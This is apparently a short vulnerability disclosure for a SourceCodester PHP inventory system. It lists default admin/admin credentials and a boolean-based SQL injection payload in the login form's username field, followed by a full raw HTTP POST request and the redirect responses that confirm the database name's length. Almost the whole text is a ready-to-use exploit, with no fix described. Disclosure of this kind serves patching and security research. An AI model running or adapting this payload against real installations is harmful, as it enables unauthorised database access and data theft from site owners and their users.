The password for the backend login account is: admin/admin
vendors: https://www.sourcecodester.com/php/4481/simple-inventory-system-using-phpmysql.html
Vulnerability File: /inventory/login.php
Vulnerability location: /inventory/login.php
[+] Payload: username=admi' or length(database()) =8--+&password=admin&submit=Login // Leak place ---> username
Current database name: liveedit,length is 8
POST /inventory/login.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/inventory/index.php
Cookie: PHPSESSID=limt35893on9omuk2tgcc85iuj
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
username=admi' or length(database()) =8--+&password=admin&submit=LoginWhen length (database (()) = 7, Content-Length: 4;location: index.php

When length (database (()) = 8, Content-Length: 4;location: tableedit.php

